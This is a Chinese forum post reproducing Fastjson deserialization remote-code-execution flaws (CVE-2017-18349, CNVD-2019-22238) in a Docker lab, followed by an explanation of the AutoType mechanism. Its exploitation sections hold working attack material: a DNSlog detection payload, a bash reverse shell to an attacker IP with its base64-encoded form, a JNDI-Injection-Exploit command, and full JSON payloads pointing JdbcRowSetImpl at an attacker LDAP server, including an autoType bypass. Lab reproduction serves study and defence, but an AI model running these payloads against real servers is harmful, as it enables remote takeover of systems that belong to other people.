-
-
Fastjson 漏洞复现
-
发表于: 2025-4-17 15:37 1402
-
Fastjson 漏洞复现
前言
遇到问题可以先看注意事项!!!
1.2.47-rce
漏洞编号:CVE-2017-18349
搭建环境
开启环境
1 2 3 4 | # 开启环境 docker compose up -d # 查看运行情况 docker ps |
出现这种页面就搭建成功了
Fastjson 特征
报错回显
先把get包改为post,把Content-Type类型改成application/json,添加请求体。反回包里面会有报错信息(这个报错信息是可以被开发者屏蔽的)。
注:下面的包删除了多余的内容
POST / HTTP/1.1 Host: 192.168.64.10:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: keep-alive Content-Type: application/json Content-Length: 11 {"test":"
DNSlog盲打
payload
1 | { "xxx" :{ "@type" : "java.net.InetAddress" , "val" : "5eb01a76.log.cdncache.rr.nu." }} |
注意改请求方式和Content-Type类型。
漏洞利用
我这里采用的是JNDI-Injection-Exploit工具,直接生成的jndi注入的命令。如果想看手工注入可以参考这篇文章。
反弹shell
1 2 3 4 5 6 7 8 | # 10.201.65.180:9932为攻击机监听的端口 bash -i >& /dev/tcp/10 .201.65.180 /9932 0>&1 # base64编码 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ== # 完整的命令 bash -c { echo ,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{ bash ,-i} |
工具一把梭
1 2 3 4 5 | # -c参数为靶机会执行的命令,-A为攻击机地址 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [ command ] [-A] [address] # 具体命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.201.65.180" |
红色部分的payload挨着尝试就行了。
完整payload
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://10.201.65.180:1389/xbc51m", "autoCommit":true } }
效果:
bp返回的是500,但是已经成功反弹shell
1.2.47-rce
漏洞编号:CNVD‐2019‐22238
环境搭建和上面相同,直接开始漏洞利用。
差异
先用刚才的payload再打一遍,显示目标明确提示 autoType 被禁用,这条攻击链无法继续。
漏洞利用
目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。
还是直接利用上面工具生成的jndi注入payload。
完整payload
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://10.201.65.180:1389/xbc51m", "autoCommit":true } }
效果
漏洞原理
json概述
JSON 是一种轻量级的数据交换格式,全称是 JavaScript Object Notation。它使用**键值对(key-value)**的结构表示数据,易于人阅读和编写,也易于机器解析和生成。
虽然起源于 JavaScript,但现在已经成为编程语言之间通信的通用格式,比如在前后端之间传输数据、配置文件、接口请求等场景中广泛使用。
josn示例:
{ "name": "Alice", "age": 25, "isStudent": false, "skills": ["Java", "Python", "C++"], "address": { "city": "Beijing", "zip": "100000" } }
fastjosn概述
Fastjson 是由阿里巴巴开发的一个开源 Java 类库,广泛用于将 Java 对象转换为 JSON(序列化),以及将 JSON 字符串转换为 Java 对象(反序列化)。它支持操作任意 Java 对象,甚至包括一些没有源码的系统类或第三方类,这也成为其安全漏洞的根源之一。由于使用简单、性能优秀,Fastjson 在实际开发中应用非常广泛。
fastjson序列化
Fastjson 其本质是通过将 JSON 字符串与 Java 对象之间进行序列化与反序列化转换。在设计上,它没有使用 Java 原生的序列化机制,而是自定义了基于属性或方法的转换方式。为了在反序列化时准确还原对象的真实类型,Fastjson 引入了 AutoType 功能,即通过 JSON 中的 @type
字段,记录对象的具体类名,从而支持多态还原。
比如我们有如下两个类:
1 2 3 4 5 6 7 8 9 | class Dog implements Animal { private String name; private int age; } class Cat implements Animal { private String name; private int age; } |
假设使用的是基于接口 Animal
的序列化方式,如果我们将一个 Dog 对象和一个 Cat 对象分别序列化为 JSON,得到的可能都是:
{"Animal":{"name":"Tom","age":2}}
由于父类/接口会“抹去”具体子类信息,导致反序列化时无法判断该对象到底是 Dog 还是 Cat。
为了解决这个问题,Fastjson 引入了 AutoType 机制,在序列化时加上 @type
字段,例如:
{ "animal": { "@type": "com.example.model.Dog", "name": "Tom", "age": 2 } }
fastjson反序列化漏洞
然而,也正是 Fastjson 引入 AutoType 功能的设计,给攻击者提供了反序列化漏洞的利用入口。当用户反序列化不可信的 JSON 数据且没有禁用 AutoType 功能时,攻击者可以通过精心构造的 JSON 数据,利用 @type
字段指定恶意类,并触发该类的实例化过程。在实例化的过程中,Fastjson 会调用该类的 setter 或构造方法,这就可能导致恶意代码的执行。Fastjson 的漏洞本质上仍是典型的 Java 反序列化问题,危险性来源于类实例化和方法调用的开放性,以及不加限制的 AutoType 使用。
Fastjson 的 AutoType 功能通过在 JSON 字符串中加入 @type
字段来标记对象的真实类型。当 Fastjson 进行反序列化时,会读取这个 @type
字段并尝试将 JSON 数据转换为指定的 Java 对象,随后调用对象的 setter 或 getter 方法。然而,如果 @type
指定了恶意构造的类,那么反序列化过程中就可能触发安全漏洞。攻击者可以通过这种方式构造 JSON 数据,指定恶意类,进而实现远程代码执行或其他攻击行为。
注意事项
使用dnslog平台前先用靶机ping dns地址,测试网络连通性
测试fastjson漏洞,最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值。
1 | { "xxx" : { "@type" : "java.net.InetAddress" , "val" : "dnslog" }} |
原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象(其实就可以理解为JSON中不加@type的普通对象)。
这时候你传入的是{"@type":"java.net.Inet4Address","val":"xxxxx"}
,相当于给到他的是java.net.Inet4Address对象,所以会爆出一个type not match的异常。
9J5k6h3y4G2L8g2)9J5c8Y4S2A6j5h3!0Q4x3X3c8@1j5h3&6Y4i4K6u0V1M7$3q4F1i4K6u0r3M7r3W2U0L8#2)9J5c8Y4u0S2N6#2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8W2!0q4y4W2)9^5z5q4!0m8b7g2!0q4y4g2!0n7x3g2)9^5c8U0t1H3x3U0g2Q4x3X3b7H3y4q4)9J5k6o6p5%4 12.00.08.png)
- 如果靶机是本机,IP地址可能会变动。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]Linux入侵排查 1800
- [原创]Linux权限控制 1781
- [原创]Linux提权具体方法 2348
- Fastjson 漏洞复现 1403